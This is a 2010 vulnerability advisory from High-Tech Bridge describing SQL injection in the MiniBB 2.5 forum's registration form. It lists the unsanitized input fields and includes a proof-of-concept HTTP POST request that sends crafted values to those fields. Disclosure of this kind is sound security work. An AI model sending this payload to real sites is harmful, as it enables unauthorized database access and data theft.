SQL injection in MiniBB

[advisory () htbridge ch]

Vulnerability ID: HTB22671
Reference: http://www.htbridge.ch/advisory/sql_injection_in_minibb.html
Product: MiniBB
Vendor: MiniBB.com ( http://www.minibb.com/ ) 
Vulnerable Version: 2.5
Vendor Notification: 21 October 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" scripts to properly sanitize user-supplied input in "icq", 
"occupation", "from", "interest", "viewemail", "user_sorttopics" and "language" variables.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the 
application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.


The following PoC is available:


POST /index.php?action=registernew HTTP/1.1
Host: [host]
Referer: http://[host]/index.php?action=registernew
Content-Type: application/x-www-form-urlencoded
Content-Length: 225

action=register&login=pentest&passwd=pentest&passwd2=pentest&email=pentest%40pentest.com&icq=1%5C%5C&occupation=2%5C%5C&from=3%5C%5C&interest=4%5C%5C&user_viewemail=5%5C%5C&user_sorttopics=6%5C%5C&language=7%5C%5C&login=Login